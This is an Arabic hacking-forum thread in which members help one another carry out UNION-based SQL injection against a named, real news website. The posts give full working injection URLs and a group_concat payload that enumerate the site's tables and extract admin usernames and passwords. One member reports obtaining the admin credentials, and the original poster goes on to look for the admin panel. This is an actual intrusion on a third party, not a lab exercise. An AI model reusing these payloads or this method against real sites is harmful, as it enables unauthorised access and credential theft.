مشكلتي الاولى في حقن SQL مشكلة Database error من فضلكم ادخلوا

[مستر نوبا]

السلام عليكم

انا حصلت موقع مصاب وحقنته بس اثناء الحقن واجهتني مشكله مادري وش هي يطلع لي Database error

ياليت تشوفونها لي هدفي مو اخترق الموقع واعلق الاندكس ابي بس اعرف حل هالمشكله

للمستقبل وللاختراقات القادمة ان شاء الله

الى هنا الحقنه شغاله

طبعا العمود المصاب تحصلونه جنب عنوان الموقع

http://www.alghadnews.com/show.php?id=-2059 UNION SELECT 1,2,3,concat(table_name,0x3a,column_name,0x3a,table_schema),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 +from+information_schema.columns+where+table_name=0x736974657573657273--

وهنا بعد مابغيت اطلع اليوزر والباس ظهرت المشكله Database error

http://www.alghadnews.com/show.php?id=-2059 UNION SELECT 1,2,3,ConCaT(id,0x3a,pass),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 +from+siteusers--

انتظركم

[عبد الله ر]

اها اخي مشكلتك بسيطة جدا جدا
المشكلة انك وضعت بالحقنة

ConCaT(id,0x3a,pass)

اولا قلي كيف كنت حتجيب اليوزر بهالحقنة !
هذه الحقنة لا تظهر لك سوى الـ id فقط اذا حذفت الباس منها
ليش ؟
انتبه منيح على كلمة pass
انا استخرجت العواميد بهذه الحقنة وكان اسم عمود الباس هكذا
PASSWORD مش pass
الحقنة
http://www.alghadnews.com/show.php?i...115,%2037%29--

انتبه جيدا اخي فالمعلومات التي ستضعها بالحقنة تكون مأخوذة من الحقنة السابقة
طيب نتابع

انا تابعت بهذا الجدول ويبدو انه لا يحوي على شيء انظر
الحقنة
http://www.alghadnews.com/show.php?i...om+siteusers--

طيب شو رايك نعود للأول عند الحقنة
http://www.alghadnews.com/show.php?i...115,%2037%29--

ونضيف عليها group_ هكذا
الحقنة
http://www.alghadnews.com/show.php?i...115,%2037%29--



الان تظهر لنا جميع الجداول التي تحتوي على كلمة %pass% مشفرة
وهي

siteusers:PASSWORD:alghad_news
sms:password:alghad_news
testnewsletter:pass:alghad_news
users:password:alghad_news


نحنا جربنا على الاول طب الان منجرب على غيره لحد ما نوصل للمطلوب
نصيحة اخي عندما تكون باول مرحلة وهي للبحث عن الجداول التي تحوي كلمة باس مشفرة
ضع group في الحقنة
حتى لا تضيع وقت بحقن جدول غير مطلوب

ان شاء الله اكون قد وفقت في الشرح

[Master vbspiders]

اقتباس المشاركة الأصلية كتبت بواسطة عبد الله ر اها اخي مشكلتك بسيطة جدا جدا المشكلة انك وضعت بالحقنة ConCaT(id,0x3a,pass) اولا قلي كيف كنت حتجيب اليوزر بهالحقنة ! هذه الحقنة لا تظهر لك سوى الـ id فقط اذا حذفت الباس منها ليش ؟ انتبه منيح على كلمة pass انا استخرجت العواميد بهذه الحقنة وكان اسم عمود الباس هكذا PASSWORD مش pass الحقنة http://www.alghadnews.com/show.php?i...115,%2037%29-- انتبه جيدا اخي فالمعلومات التي ستضعها بالحقنة تكون مأخوذة من الحقنة السابقة طيب نتابع انا تابعت بهذا الجدول ويبدو انه لا يحوي على شيء انظر الحقنة http://www.alghadnews.com/show.php?i...om+siteusers-- طيب شو رايك نعود للأول عند الحقنة http://www.alghadnews.com/show.php?i...115,%2037%29-- ونضيف عليها group_ هكذا الحقنة http://www.alghadnews.com/show.php?i...115,%2037%29-- الان تظهر لنا جميع الجداول التي تحتوي على كلمة %pass% مشفرة وهي siteusers:PASSWORD:alghad_news sms:password:alghad_news testnewsletter:pass:alghad_news users:password:alghad_news نحنا جربنا على الاول طب الان منجرب على غيره لحد ما نوصل للمطلوب نصيحة اخي عندما تكون باول مرحلة وهي للبحث عن الجداول التي تحوي كلمة باس مشفرة ضع group في الحقنة حتى لا تضيع وقت بحقن جدول غير مطلوب ان شاء الله اكون قد وفقت في الشرح

كفيت ووفيت
بارك الله فيك يا غالي
وبالتوفيق
تحياتي

[عبد الله ر]

تسلم يا غالي
هذا واجبنا

[مستر نوبا]

مشكووور

ماقصرت والله يجزاك خير على التوضيح الاكثر من رائع

[MazMaz]

شكرا عالشرح و ما قصرتو يا شباب

[Tn-Sn!PeR]

هاهو يا غالي إسم الأدمين و الباس

http://www.alghadnews.com/show.php?i...2+from+users--

إستعملنا في الحقنة أمر

كود PHP:

UNION SELECT 1,2,3,group_concat(id,username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+users 


--

يعني مثل ما قال أخي عبد الله ر نعود إلى أول حقنة و نجد الآتي

siteusers:PASSWORD:alghad_news
sms:password:alghad_news
testnewsletter:pass:alghad_news
users:password:alghad_news

الملون بالأحمر هو الذي إستعملته

أرجو أن تكون قد إستوعبت و إن تستحق شيء فلا تتردد

يلّا سلام

[مستر نوبا]

تسلم والله

بس اللوحة ماحصلتها